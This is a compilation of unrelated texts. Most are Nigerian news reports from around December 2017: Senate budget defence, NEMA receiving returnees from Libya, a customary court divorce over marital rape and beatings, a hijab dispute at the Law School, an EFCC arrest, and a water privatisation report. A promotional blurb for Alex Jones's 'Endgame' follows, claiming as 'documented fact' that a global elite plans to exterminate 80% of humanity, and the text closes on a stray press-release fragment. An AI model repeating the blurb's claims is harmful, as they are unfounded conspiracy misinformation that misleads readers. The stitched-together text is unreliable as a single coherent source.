The Senate President, Bukola Saraki, noted that the experiences of the committees are disheartening given the level of energy the senators expended to ensure smooth passage of the budget.

Truly it is very disappointing and disheartening to hear the various experiences of the committees. This is because we know how much pressure that we have put on the various MDAs to ensure that the budget is passed before the end of the year.

How can anybody that should be defending their budget pick this period of time to be traveling? Theyve had all time to travel. Now is the time to attend to the budget defence process.

More importantly, is the assumption that the capital budget of 2017 will be 40 to 50 per cent implemented by now, but this has not been the case. This makes it very difficult for us. We cannot turn into magicians.

All I am going to do is to appeal to all the senators to work with what they have, so that we have a budget that is in the best interest of all Nigerians, Mr. Saraki said.
The National Emergency Management Agency, NEMA, on Monday received 167 stranded Nigerians from Libya, bringing the total number of Nigerians brought back to the country in the last four days to 532.

The News Agency of Nigeria reports that Boeing 737-800 aircraft, with Registration Number 5A-DMH, arrived at the Murtala Muhammed International Airport, Lagos at 7:47 p.m.

The returnees were assisted back to Nigeria by the International Organisation for Migration, IOM, and the European Union, EU.

They comprised 21 adult females, 145 adult males and one child.

The Director General of NEMA, Mustapha Maihajja, who received the returnees confirmed that three of them had medical cases and were promptly given treatment by doctors and paramedics.

Mr. Maihajja, who was represented by the Southwest Zonal Coordinator of NEMA, Suleiman Yakubu, said two of the returnees were now in stable condition, while the third person had been referred to hospital for further treatment.

He advised the returnees to acquire vocational skills or further their education to contribute their quota to national development.

Also on hand to receive the returnees were officials of Nigerian Immigration Service, National Agency for the Prohibition of Trafficking in Persons, Federal Airports Authority of Nigeria and the Police.

(NAN)
A tricycle operator, Olasunkanmi Abdul-Kareem, 42, on Tuesday in Igando, Lagos State, lost his 17-year-old marriage for raping his wife in the presence of their children many times.

Delivering judgment, the president of Igando Customary Court, Lagos, Moses Akinniyi, said the marriage between Bolanle AbdulKareem and Olasunkanmi Abdul-Kareem had been dissolved.

Mr. Akinniyi said the petitioner had remained adamant despite all mediation from the court and family intervention.

He said: Both parties henceforth cease to be husband and wife. Both are free to go their separate ways without any hindrances and molestation.

Since the petitioner insisted on divorce after several interventions, the court has no choice than to dissolve the union in spite of the fact that the husband still claims he loves his wife.

The News Agency of Nigeria (NAN) reports that Bolanle had earlier told the court that her husband was always in the habit of molesting her whenever he got drunk.

Whenever my husband comes home drunk, he will want to make love to me by fire by force and I will caution him not to do it in the presence of our children.

He will beat me and make love to me by force while the children watch us.

There was a day I came back from work and I met my children, one on top of another doing what they always see their father do to me, the 40-year-old trader said.

The petitioner also said her husband always threatened to kill her.

My husband derives pleasure in beating me. There was a day he beat me and broke my leg. One day, he threatened to kill me and I ran to one of my relatives house.

My husband came there and met my sisters husband ironing his clothes; he snatched the iron from him and started chasing me with it.

Seeing his desperation, I ran into the street and my husband still chased me with the pressing iron.

Anytime, I reported him at the police station the police always tell me that it is a family matter and refuse to caution him, she said.

The embittered wife described her husband as an irresponsible one and father who did not care about the welfare and education of their children.

Olasunkanmi neither cares for me nor for the children. I am the one paying their school fees.

He has a tricycle that he is using for business but he always uses the proceeds to drink to stupor and usually loses self control, the estranged woman said.

The mother of three begged the court to dissolve their marriage, adding that she was no longer in love with the husband.

However, the husband, who did not deny the allegation of raping his wife, however, begged the court not to dissolve the union.

Please, do not dissolve our marriage, I still love my wife, I know I have made a mistake; I will make amend, he said.

The 42-year-old commercial tricycle operator admitted that he used to beat his wife, whenever she flouted his orders.

I dont derive pleasure in beating her but I only beat her whenever she disobeys my instruction.

The day I snatched the pressing iron from my in-law, I only wanted to use the iron wire to beat her and not to burn her.

He said he was not a drunk but that he drank moderately.

(NAN)
To eradicate HIV/AIDS in Nigeria, students of secondary schools must be taught about the need to abstain from pre-marital sex through sex education or Family Life and HIV/AIDS Education, FLHE.

The Society for Family Health, SFH, said this on Tuesday in Abuja at the presentation of a report on the impact of combating HIV/AIDS in the education sector in Nigeria.

The report of the Impact Evaluation of Family Life HIV/AIDS Education was presented by the Federal Ministry of Education in collaboration with SFH.

The Minister of Education, Adamu Adamu, who was represented at the event by the Director of Education Support Services, Justina Ibe, said the initiative was borne out of the need to equip in-school youth to abstain from pre-marital sex.

He said that the dissemination of the draft report was a scientific declaration that used the curricular and co-curricular strategies to communicate sexuality information to adolescents by the educational sector.

According to him, the exercise was delayed after the exit of the Global Fund Round 9 Phase 2 interventions on HIV/AIDS in schools.

The exercise is a holistic effort to move the country forward and create a better HIV-free society for young people, the minister said.

I implore that as partners, we should all contribute our quota for the success of the exercise.

The Managing Director of SFH, Bright Ekweremadu, said the implementation of FLHE in upper and lower secondary schools was paramount to the eradication of the scourge in Nigeria.

Mr. Ekweremadu lamented that the impact of FLHE on young persons was beclouded by the lack of empirical evidence of the efficiency and effectiveness of the approach at reaching young persons within schools.

He said students and young adolescents between the ages of 12 and 19 years account for 54 million of the Nigerian population, hence the need to educate them on the dangers of the epidemic.

The Global Fund Round 9 Phase 2 HIV grant in Nigeria (January 2013 and June 2015) conducted a quasi-experimental study to evaluate the impact of the FLHE programme among in-school students in Nigeria. The overall objective of the impact evaluation study was to identify proven intervention approaches to promoting sexual and reproductive health of in-school youths for better programming among them, he said.

Mr. Ekweremadu said the evaluation compared the knowledge in selected indicators of persons who had been exposed to the intervention with those of equivalent persons who had not been exposed.

He said that lack of funding of the initiative brought about the development of a road map to further embellish and sustain the programme into the school system.

Unfortunately, this is yet to be implemented by the country, leaving a huge gap which is capable of eroding the gains made over the years. If Nigeria would curb the spread of new HIV infections, reduce teenage pregnancies to change the trajectory of the AIDS epidemic, we cannot ignore the continuation of the implementation of the programme, he said.

FLHE programme is a veritable strategy in the fight against HIV and other reproductive challenges facing young adolescents in the country, he concluded.
President Muhammadu Buhari on Tuesday called on Muslim clerics to assist his administrations efforts in fighting corruption.

Mr. Buhari made the appeal at the 55th Conference of League of Imams and Alfas of Yorubaland, Edo and Delta States held in Abeokuta

He pointed out that corruption war could only be won through joint efforts by all and by continuously preaching against the menace.

The president who spoke through his Special Adviser on Political Matters, Babafemi Ojodu, also urged all Muslims to always pray for the survival of Nigeria.

One of the highlights of the event was the installation of former Minister of Mines and Steel, Sarafa Ishola, as the Baba Adinni of Yorubaland.

What is expected of you at this moment is to preach continuously against corruption in your mosques all the time, he emphasised.

Similarly, Mr. Buhari drew attention of public office holders to always have it in mind that they are holding such office in trust for God and not for their selfish interest.

The president expressed appreciation to the Imams and Alfas for their continuous prayers for him while he was sick.

He, however, challenged the conference to come out with suggestions that would assist good governance at the end of their gathering.
The Muslim Rights Concern, MURIC, on Tuesday called for an immediate call to bar exercise to be organised for Firdaus Amasa, the Law School graduate who was denied entry to the same ceremony last Wednesday.

At a press conference organised by MURIC on Tuesday in Iba-Estate, Lagos, the organisation called for a judicial inquiry into the circumstances surrounding the molestation of Muslim students who were allegedly forced to remove their hijab at the call to bar ceremony.

The group also demanded a review of the code of dressing in the Nigerian Law School as it affects the manifestation of religious beliefs, calling on the Nigerian National Assembly to intervene in the matter.

Ms. Amasa was last Wednesday refused entry into the call to bar ceremony for refusing to remove her Hijab.

The incident has attracted considerable attention among Nigerians, who are divided on the stance of the Council of Legal Education and the affected graduate.

Earlier on Tuesday, the Nigerian Supreme Council for Islamic Affairs, NSCIA, had threatened to stage nationwide protests if the issues were not addressed. The organisation also said it would consider legal actions if its demands were not considered.

MURIC at its conference on Tuesday demanded an investigation by the National Human Rights Commission (NHRC) into allegations of religious stigmatisation in the Nigerian Law School, stressing that there is need for a general reform of the school.

The Nigerian Law Schools action is deplorable, reprehensible and preposterous. The very school where human rights lawyers are trained to respect human dignity is not expected to be the very first institution to dehumanise Nigerian citizens. There is no hope for the rule of law in Nigeria if the Law Schools decision is allowed to stand, the organisation said.

Just like a scene from apartheid South Africa when blacks were derided and disallowed from entering restaurants, swimming pools used by whites or to attend social events, Muslims are being targeted for discriminatory practices in Nigerian institutions. Stigmatisation of the adherents of Islam is the order of the day. Muslims cannot get international travel documents without being humiliated. They cannot obtain driving licences without being profiled.

The organisation said Muslims have strong basis for using the hijab, adding that there are scriptural evidences from Quran that support the claim.

It explained further that Ms. Amasa was not dancing to her whims and caprices by using the hijab but simply obeying her Creator.

The Law Schools ill-treatment of Muslims would not have been exposed if Firdaus Amasa had succumbed to intimidation like other Muslims had done in the past because it has now come to public knowledge that this has always been the practice in the Law School every year, it said.

In actual fact, two other Muslim sisters who wore hijab under their wigs on that day would also have been denied call to bar had they refused to remove their hijabs when ordered to do so. An official seized one of the hijabs after the Muslim lady (not Firdaus, but name withheld) had removed it, threw it on the floor in the presence of guests and trampled upon it! What level of hatred could have caused this? It is not only disgraceful but highly abominable. The Nigerian Law School has become a den of Muslim-haters. An institution that is expected to train minds in revolutionary reforms is the same championing segregation among citizens. It is archaic, parochial and reactionary.

PREMIUM TIMES could not immediately get the reaction of the Law School to the allegation of harassment of the said Muslim lady.

However, the organisation called on women liberation groups in the country to rise to the occasion, adding that the National Assembly (NASS) and the National Human Rights Commission (NHRC) should investigate the matter.

Making reference to what obtains in Kenya, the group said the system is liberal and accommodating with Muslims, even though Kenya, like Nigeria, is a former British colony.

We demand full integration and full recognition as bona fide citizens of Nigeria, not second or third class citizens. We are the aggrieved party. The British most brutally and most unjustly took all we had from us, giving us nothing in return and offering no relief. It has continued to give us a feeling of rejection, marginalisation, denial of the dividends of democracy and lack of a sense of belonging. The time for redress is now.

Although the Nigerian Law School has provoked us, we are making our demands peacefully now without issuing threats. These are dividends of democracy that have not been allowed to reach Muslims. The time to give them is now. Boko Haram militants may have adopted the wrong method but we believe these grievances are nursed by all Muslims. We must avoid another pogrom.

The group also urged the Law School and other Nigerian institutions to desist from actions capable of militarising religious and ethnic groups, adding that its motto is Dialogue, Not Violence.
President Muhammadu Buhari on Tuesday joined other Nigerians to wish the Senate President, Bukola Saraki, a happy 55th birthday.

In a statement signed by his special adviser on Media and publicity, Femi Adesina, President Buhari described Mr. Saraki as a distinguished Nigerian who has made his mark on the political scene.

President Buhari joins all members of the National Assembly, friends and family in celebrating the life of a distinguished Nigerian who has made his mark on the political scene.

The President believes that at 55, and having served as a two-term governor, senator and Senate President, Dr Saraki has demonstrated commitment in the pursuit of a prosperous, united and peaceful Nigeria.

The Speaker of the House of Representatives, Yakubu Dogara, also described the celebrant as a totally committed patriot.

In a statement issued by his Special Adviser on Media & Public Affairs, Turaki Hassan, the speaker, commended the senate president for exhibiting great courage and patriotism in the conduct of the affairs of the Senate.

Since your emergence as the President of the Senate you have consistently demonstrated exceptional capacity, unwavering patriotism and abiding faith in the unity, peace and progress of Nigeria both in words and in action.

The senate under your distinguished leadership has been one that inspires hope for the citizens owing to your people oriented disposition.

Your sterling leadership mien is not unexpected, given your pedigree and antecedents as a former Governor and Chairman of Nigerian Governors Forum. I am happy you brought those worthy qualities to bear in the discharge of your functions as the President of the Senate.

Similarly, Delta State Governor, Ifeanyi Okowa, lauded the remarkable contributions of the Senate President to the development of Nigeria and the legislature.

Mr. Okowa In a statement by his Chief Press Secretary, Charles Aniagwu, eulogised Mr. Sarakis tremendous contributions and outstanding accomplishments in the service of his country over the years.

The statement reads in part, As Chairman of the 8th National Assembly, it is on record that the Senate passed 138 bills in 30 months including the Petroleum Industry Governance Bill (PIGB).

Mr President, the Senate under your leadership remains people friendly as evident in the 112 petitions treated from members of the public in 30 months.

Meanwhile, other senators at the plenary on Tuesday felicitated with Mr. Saraki on the occasion of his birthday.

Raising a point of order, the Deputy Senate President, Ike Ekweremadu, showered praises on his colleague.
President of the African Council for Distance Education (ACDE) and Vice-Chancellor of the Open University of Sudan, Professor Abdelraouf Ahmed Abbas, has called on the management of the National Open University of Nigeria (NOUN) to render the universitys vast experience in Open and Distance Learning (ODL) to similar institutions on the continent for the development of the education.

The ACDE president stated this on Tuesday during his visit to the headquarters of NOUN in Abuja, where he underscored the role and critical importance of the university to the council and other ODL institutions in Africa.

Abbas, accompanied by the Secretary, Academic Affairs of Open University of Sudan, Professor Mohammed Abo Imam, said his visit to the headquarters of NOUN was the first in his capacity as the councils president.

This is my first visit abroad since my election as ACDE president. That says a lot about the NOUN importance to the ACDE. I think the visit is a bit late, but it is better late than never, he said.

The OUS vice-chancellor, who is visiting Nigeria for the first time, solicited the support of NOUN in advancing the course of the council, especially in view of its spread and student size, which places it amongst the top ODL institutions in Africa.

He asked the Vice-Chancellor of NOUN, Professor Abdalla Uba Adamu, to lead the pack in the effort to reposition the council so as to ensure a robust collaboration and exchange of study materials and students between the sister universities on the continent.

The president also requested NOUN to allow its staff, Professor Rotimi Ogidan, who is the Executive Secretary of ACDE based at the headquarters of the council in Kenya, to see off his tenure in 2019 which, he said, is another pointer to NOUNs critical importance to the council and ODL in Africa.

While turning to his university, Abbas said since his appointment as the OUS vice-chancellor, a number of transformations have taken place in the university, and expect to start an electronic examination soon, which NOUN has for years embedded in its examination process.

He thanked the university for the warm welcome and reception and underlined the long-standing existing relationship between Sudan and Nigeria not only in the field of education but also in other areas of life.

On his part, Professor Adamu welcomed the visiting president to the NOUN headquarters and assured him of the full support towards the sustenance of the councils activity.

Adamu, who is also the First Vice-President of the council, acknowledged that heading the continental body like the ACDE was tasking, but urged the president to focus more on tackling the challenges facing the council and ODL institutions in Africa.

He particularly mentioned areas that need urgent attention of the council, which include the attitude towards ACDE by member bodies, as well as the need for a rotational but a tenured system in occupying the executive secretarys position, which NOUN has been holding for years.

Adamu also solicited for the creation of a central fund apart from the annual dues from member institutions, from which the councils executive secretary and other staff could be paid their salaries.

He said in Nigeria, the status of ODL is rising fast, with young Nigerians even outnumbering the more mature ones in enrollment into the university.

As such, he called on ACDE to boost partnership amongst the sister universities in areas of students exchange, study materials and the development of a common template of ODL in Africa, rather than relying on the European system.

He said NOUN has agreed to allow its staff, Professor Ogidan, to finish his tenure as executive secretary of the ACDE despite the financial burden, even as he also requested the council to assist in the enrollment of people in the IDPs camps from across the country.
Law enforcement officers said to be from the Economic and Financial Crimes Commission, EFCC, have arrested Innocent Chukwuma, the founder and chairman of Innoson Motors.

PREMIUM TIMES learnt from a spokesperson for the company, Cornel Osigwe, that Mr. Chukwuma was arrested at his residence in Enugu around 9:00 a.m. on Tuesday.

His arrest is in connection to the ongoing case he has with GTBank, Mr. Osigwe said by telephone.

Mr. Osigwe said his principal was accused of jumping bail, wondering how someone who was never invited by the EFCC much less being arrested would be accused of fleeing from the law.

He was never invited by the EFCC, we challenge them to come forward with any evidence showing that he jumped bail, Mr. Osigwe said. This is GTBank using federal authorities to persecute an illustrious citizen who has done a lot to improve the economic development of this country.

The EFCC spokesperson, Wilson Uwujaren, said he had not been briefed about the arrest when reached for comments by PREMIUM TIMES.

A spokesperson for GTBank, Meksley Nwagboh, denied the banks involvement in the arrest, telling PREMIUM TIMES that if the EFCC arrested him they will be in a best position to comment on the reason for his arrest.

Innoson Group has accused GTBank of being indebted to the indigenous auto manufacturing company up to N8.5 billion in a series of damages that stemmed from illegal service deductions by the bank.

An initial fraud case brought against Mr. Chukwuma was withdrawn earlier this year.

But the Attorney-General Abubakar Malami revived the case at the Federal High Court in Abuja as GTBank maintains its allegations that Mr. Chukwuma manipulated bank and shipping documents to obtain tax waivers from the Nigerian government.

More details later
A member of the House of Representatives from Imo State, Nnanna Igbokwe, has dumped the opposition Peoples Democratic Party, PDP, for the ruling All Progressives Congress, APC.

In a letter read by Speaker, Yakubu Dogara, at plenary on Tuesday, Mr. Igbokwe who represents Ahiazu Mbaise/Ezinihitte, cited division in his former party as his reason for defection.

He said he joined the APC in January 2017 before the Supreme Court decided on the leadership tussle between the then caretaker committee chairman, Ahmed Makarfi and Ali Modu-Sheriff.

Mr. Igbokwe said he stopped attending PDP functions both in his home state and the National Assembly since January when he registered with the APC.

Present in the chamber to receive him was the Governor of Imo State, Rochas Okorocha.

In a swift reaction, the deputy minority whip, Binta Bello, objected, saying there was no division in the PDP since the Supreme Court had decided on the leadership tussle. She urged the speaker to declare his seat vacant.

Ossai Ossai also brought the attention of the House of the Supreme Court ruling that solved the crisis of the PDP.

He cited section 68(1)g where a member would vacate his seat when he decides to leave the party which sponsored him without any division.

But Speaker Dogara in his ruling said he can only declare a seat vacant when the majority of the House agrees.

PREMIUM TIMES had exclusively reported that three more members of the PDP were likely ditching the party for the APC.

The three members include Nnanna Igbokwe who just defected, Johnson Agbonayinma, and Ben Nwankwo who had already declared for the All Progressives Grand Alliance, APGA, in Anambra State.

PDP had lost five of its lawmakers in the House to other political parties in 2017 alone.

The defection of Mr. Igbokwe brings the total number to six.

The earlier defectors were Edward Pwajok (Plateau), Adamu Kamale (Adamawa), Hassan Sale (Benue), Zephaniah Jisalo (FCT) and Yusuf Tijjani (Kogi).
The Chairman of the House of Representatives Committee on Electoral Matters, Aishatu Dukku, on Tuesday said the National Assembly was working on 12 Electoral Reform Bills to be passed before the 2019 elections.

Mrs. Dukku made this known at a session of coalition of Civil Society Organisations (CSO) known as Situation Rooms Fourth Stakeholders Forum on Elections in Abuja.

She said that the bills which sought to amend the provisions of the Electoral Act 2010 and the Electoral Act 2015 were referred to the committee after second reading for further legislative action.

She said that major areas the bills sought to alter included procedure for the use of Smart Card Reader in elections.

Mrs. Dukku said that there was also the bill proposing that a court or tribunal should declare the person with the second highest votes winner of an election if it found that the first winner was not qualified to contest.

Another bill, according to her, is the one to mandate political parties to ensure that women leaders are truly women and that all youth leaders are between 18 years and 45 years.

She said that there was also the bill to increase maximum election expenses to be incurred by a presidential or governorship candidate, senatorial, House of Representatives, state assembly and area council chairmanship elections.

Also included is a bill to amend section 34 of the Principal Act to enable candidates who observe that their names were omitted from the commissions list of nominated candidates to notify it.

This should be in writing not later than 21 days to an election adding that it also sought to amend section 49 to allow an eligible voter in an election to notify the presiding officer of an omission of party logo.

The lawmaker said that the 8th House of Representatives was committed to carrying out further electoral reforms as a matter of priority and had outlined the objective in the legislative agenda adopted in 2015.

This is more so as the 2015 general elections highlighted some gaps in the legal framework of our electoral process because while we all acknowledged the 2015 elections, there is still work to be done.

Going forward,12 bills awaits legislative action; furthermore, as both the 1999 Constitution and the 2010 Electoral Act as amended, to regulate the conduct of elections in Nigeria, the committees report will strengthen the process.

Mrs. Dukku said that the committee received inputs from stakeholders, and that submissions and memoranda received covered eight areas.

The areas are electronic voting and use of technology in elections; youth and persons with disabilities in political party structures and elections; regulating election expenses, and increasing penalties for electoral offenders and consequential constitutional amendments.

Others are Diaspora voting, increasing the participation of women, enshrining the smart card reader in the legal framework and creating an electoral offences commission and tribunal, she said.

She expressed optimism that the bill would be passed by both chambers of the National Assembly and signed into law to sanitise Nigerias electoral process and provide a level-playing field for credible elections.

In his remarks, Convener of the Situation Room, Clement Nwankwo, advised that the legal framework on election should be done ahead of the 2019 elections.

Mr. Nwankwo said that the urgency of passing the electoral law should be the concern of the National Assembly now, adding that Nigeria was losing time.

He urged CSOs to be ready to monitor political parties early enough to know their campaign promises so as to hold them accountable when they eventually emerged victorious.

He also urged Nigerians to be at alert and prepare for the 2019 electoral process and to know the right candidates to vote for, for progress.

(NAN)
The National Agency for Food and Drugs Administration and Control, NAFDAC, has called on Nigerians to report on the production of fake drugs around them, in line with the whistle blowing policy of the Federal Government.

We are calling on the public to blow the whistle whenever they discover any form of illegal manufacturing or production of drugs within their vicinity. We will ensure utmost confidentiality, Christiana Adeyeye, NAFDAC Director-General, said at an event in Lagos on Monday according to Daily Post.

Blow the whistle; most of these illegal production of drugs are done in the night, she noted.

The call came on the same day the Senate Roundtable on Drugs Abuse Epidemic in Nigeria, organised by the Nigerian Senate, was held in Kano.

The President of the Senate, Bukola Saraki, had expressed worry over the recurrent trend of drug abuse in the country and vowed that government would tackle the menace from its roots by going after importers and distributors of drugs.

In his remark at the roundtable, the Emir of Kano, Muhammadu Sanusi had called for a law to compel Nigerian political and religious leaders, including lawmakers, governors and traditional rulers, to undertake drug test.

The emir accused the leaders of condoning the use of illegal substances by their body guards and thugs.

Speaking in the same vein far away in Lagos, NAFDAC director-general who was represented by Abayomi Bolaji, a deputy director at the agency, said lack of manpower by NAFDAC was to blame for increase in circulation of fake drugs and abuse.

One of the greatest challenges of the agency is shortage of manpower because Nigeria is a large and complex country, and its little manpower cannot be everywhere.

Counterfeit drugs pose a public health hazard, waste consumers income and reduce incentives to engage in research, development and innovation.

The result of the use of fake drugs can be poisoning, treatment failure, untreated disease and death.

The magnitude of drug counterfeiting was much and required strong and sustained actions from governments, the industry and consumers.

The agency has engaged in capacity building of its staff, reviewed NAFDAC laws and applied cutting-edge technologies to tackle drug counterfeiting, she said.
A senator has decried the attitude of the Nigerian government to addressing the problems of the countrys foreign missions.

Shehu Sani (APC, Kaduna Central) expressed his displeasure on Tuesday at the budget defence by the Ministry of Foreign Affairs before the Senate Joint Committee on Foreign Affairs and Diaspora.

He was particularly angry when Foreign Affairs Minister, Geoffrey Onyeama, despite lamenting poor funding of Nigerias diplomatic operations, commended the federal government and the Minister of Finance, Kemi Adeosun, after presenting the ministrys 2018 budget estimates.

The ministry has budget estimates of N62 billion (N62,092,198,465) including an overhead cost of N23 billion (N23,277,621,873).

Mr. Onyeama had lamented poor funding for the ministry as well as diplomats and foreign missions, saying the headquarters and missions are still heavily indebted.

After his presentation, the minister said: I commend the Federal GovernmentOf course we are not sitting down with our arms folded. We are doing the best we can to improve this situation. We have raised some issues at the Federal Executive Council meeting.

I have to really thank the Minister of Finance who has really been doing her best and trying to come up with ways to address some issues.

But the ministers remarks did not impress Mr. Sani, as he accused the government of not being serious about running foreign missions.

Before my question, Ill like to make a few remarks about the overview of what has been said. It is very clear to me and to Nigerians that we are not serious about running our foreign missions.

I heard you itemize all these problems ranging from unfair funding to neglect to absence of insurance policies to virtual collapse of the state of our foreign missions.

And then I heard you commending the president and the minister of finance. So we should blame the ghost? Or who, for goodness sake?

When will this problem come to an end? Year in year out, it is very clear that the government is not serious about intervening to adjust the problems of our foreign missions, he said.

He said the country had every means to do what is right but has chosen not to.

We are not a country without the resources to intervene. We have virtually turned our staff and diplomats in our foreign missions into beggars, embarrassing our country, disgracing ourselves.

A country like Cuba has over 160 embassies globally and they take of them. We must solve this problem once and for all, he said.

Making reference to the governments recent resolution to use one billion dollars to tackle insecurity, he said, If the federal government can remove one billion dollars to address the issue if Boko Haram, we need to go toeven if it is the Excess Crude Account and do something.

When you go to our embassies, there are toilets, you cant flush. They will live in hotels. Their cars have no fuel, we cannot service the electricity bill, no water bill, no nothing.

They are giving quit notice to our people. A country that portrays itself as an African giant! We are just not serious about these things.

The senator stressed that since the beginning of the 8th assembly, all that had been done were nothing but talks.

From 2015 that I got to this place, we talked and talked. 2016, we talked. Now again, we are talking. They are releasing money to you people as if youre beggars. Everyday people call me on phone from different parts of the world and we are here on the same ritual again.

The presidency of Nigeria is not serious about our foreign missions. People are afraid to say it. Youll say there is problem, this one is bad, that one is bad and then youll end it with commendations. Who are you commending?

This problem is man-made. We are deliberately refusing to release money even for simple things that dont require money. To even put foreign ambassadors of Nigeria on a schedule to see the president takes four to six months, sitting down in Abuja doing nothing.

Niger Republic, Benin Republic, Malawi, Burundi, Rwanda, Seychelles, Cape Verde can all take care of their embassies. What type of giants are we? he said.

Mr. Sani directed the minister to make a documentation of all the problems that the ministry faces as well as possible solutions.

Write out a recommendation for this so we can solve this problem once and for all. Lets have a document which is free from this budgetary grammar; Nigerias Foreign Mission: Problems and Solutions, and include all the cost, he added.
Three companies among the multinational firms shortlisted by the Lagos Water Corporation have a global track record of abuse, mismanagement, and sharp practices, a report by the Environmental Rights Action, Friends of the Earth Nigeria has stated.

The report released in Lagos Tuesday titled Veolia, Abengoa, Metito Cannot be Trusted with Lagos Water, was the outcome of several months of investigation after the Lagos State government had challenged the civil society to provide facts on allegations that multinationals were failed companies, Akinbode Oluwafemi, Deputy Director at ERA/FoEN, said.

Definitely, these are world-class companies, said Mr. Oluwafemi.

But these are also companies with world-class issues that bother on delivery of poor water quality, bribery, human rights abuse, aversion to unionism, inhuman rate hikes, conflict of interest among others.

The Lagos State government had announced the shortlisting of AG Gold Trust Nigeria Limited; Vision Scape Water Solutions/Metito; Veolia/Shoreline Group; and Abengoa, Naston & Partners as firms it would into partnership with for the Adiyan II water project.

But according to the ERA/FoEN report, Veolia, Abengoa, and Metitos antecedents make them unsuitable for a partnership with the government.

The city of Pittsburgh, Pennsylvania is in the midst of a Lead crisis following contracts that put Veolia in control of Pittsburgh Water and Sewer Authority, the report said.

Under Veolias management, the water treatment chemical used to prevent Lead contamination was switched to a cheaper alternative without the required approval, violating state regulations. Now Pittsburghs Lead levels are dangerously high.

While Pittsburgh residents face the threat of Lead poisoning and the city grapples with the immense cost of replacing service lines, Veolia walked away with $11 million.

The report further stated that Veolia is currently under investigation in Romania, France and the United States for allegedly running a multi-year, multimillion Euro bribery scheme in Bucharest, Romania, in order to raise water rates drastically.

For Abengoa, which the report described as a labyrinthine corporation on the edge of bankruptcy, a partnership with Lagos State government is a risky proposition.

With sales having plummeted from a peak of 7.8 billion in 2012 to just 1.5 billion in 2016, workers being cut from 26,000 to 16,000, many of its assets sold off, a loss of 7.6 billion in 2016, and a continuing debt load of 5.6 billion, Abengoa is an unstable corporation and not a good bet for Lagos.

The report also accused Abengoas executives of filling their pockets with company funds while the corporation was preparing to deal with bankruptcy proceedings.

It further noted that the company was one of the corporations behind the Cochabamba Water War, a massive protest that engulfed Bolivias third largest city between 1999 and 2000 in the wake of the privatization of the citys municipal water supply company.

More recently, an Abengoa subsidiary built a hazardous waste containment facility near a natural reserve in Mexico that allegedly went on to leak arsenic into a nearby aquifer.

The report said Metito, a Dubai-based multinational, was engaged in self-dealing after the World Bank, its active shareholder, helped it secure a 27-year concession to and operate a 40,000 cubic metres/day system in Rwanda.

Following the announcement of the deal, the report stated, the company embarked on a large scale restructuring that led to hundreds of job losses for unionised workers.

ERA/FoEN said it raised these concerns about the three multinational firms last August but the Lagos Water Corporation boss, Muminu Badmus, responded by demanding for facts.

Today, the Our Water Our Right Coalition makes public the facts the Lagos State government demanded in this document which not only details infractions linked to the companies, but also a reiteration of our demands on the way forward in the Lagos water sector, Mr. Oluwafemi said.

Phone calls to Mr. Badmus did not go through.

But Akinmuleya Feranmi, who spoke to PREMIUM TIMES, said the companies are not as bad as being painted, noting that all companies have their good and bad sides.

Even Julius Berger in Nigeria today, as that company is doing so much in terms of road construction, you still have people who believe that they are not doing anything.

A company that has a problem in Ghana may not have a problem in Nigeria.

Mr. Feranmi said the Water Corporation has been facing several challenges including trying to provide water to a large population at very cheap rates.

What we are doing in water corporation, we cannot even recover what we use in treating the water, the quality assurance, he said.

People are shouting that water corporation funding is high, we supply 1,000 litres of water for N200, which is never done anywhere, its the cheapest. We have even gone to the extent of introducing meters. If water corporation does not supply water to the area for two months, that area is not going to pay a dime.

One of the challenges we are facing is large population. That is why we are even doing enumeration now, some people even have the effrontery to prevent our staff from doing enumeration. What we want to do is know how many people are enjoying our water in Surulere, do we need to expand? We want to have a database. But people are even driving them back. I dont know, our people need education.
The Vice Chancellor of The Technical University, Ibadan, Ayobami Salami, on Tuesday said students of the institution will never be jobless upon graduation.

Mr. Salami, a professor, said no graduate of the institution will go about roaming the street in search of jobs because they would have been adequately equipped to be creative and entrepreneurial.

The vice chancellor made this known in his maiden press conference held at the University campus along Lagos-Ibadan expressway, Ibadan, Oyo state. The programme was put together as parts of activities heralding the take-off of full academic activities at the university.

The vice chancellor also disclosed that Tech-Us pioneer students will arrive the university campus on January 7, 2018.

Mr. Salami said the technical university, which he described as the first of its kind in Nigeria, has a vision to address employability gaps in Nigeria through entrepreneurial orientation of the students.

It is either they are so good that the industries hire them straight away, or they simply establish their own start-ups, he said.

He attributed the unemployment challenge in the country to lack of entrepreneurial orientation of several academic programmes in Nigerian universities.

He explained that the university has put innovative courses like Cybersecurity in place to train students towards addressing new societal challenges.

Mr. Salami explained further that the university will take off with focus on vocational skills acquisition, adding that the lecturers will comprise 40 per cent skilled artisans and 60 per cent conventional lecturers.

On the high tuition fee charged by the University, the vice chancellor explained that the university, although owned by the Oyo State government, aims to operate with private sector orientation.

He also argued that at N400,000 per session, the fee is not outrageous because government support and funding has an exit plan.

I guarantee the Nigerian public that Tech-U is a university where parents and investors will get value for the money spent there, he explained.

At Tech-U, we did our research across public and private universities before we arrived at the tuition and other charges we have prepared. There are many private universities whose tuition and other charges are twice higher than ours. Besides, STEM programmes are cost-intensive.

He also disclosed that three students each across the 33 local governments in Oyo State have been offered admission on scholarship and would be part of the pioneer students billed to resume in January.
For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME.

Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire.

Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III.





to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever.





Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation.





View the progress of the coming collapse of the United States and the formation of the North American Union.

Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history.

Endgame is not conspiracy theory, it is documented fact in the elite's own words.




WASHINGTON, Dec. 18, 2017 /PRNewswire/ -- 60 Degrees Pharmaceuticals (60P) announced it has submitted a New Drug Application (NDA) to the United States Food and Drug Administration for the use of Tafenoquine to prevent malaria in adults traveling to areas where malaria is prevalent.

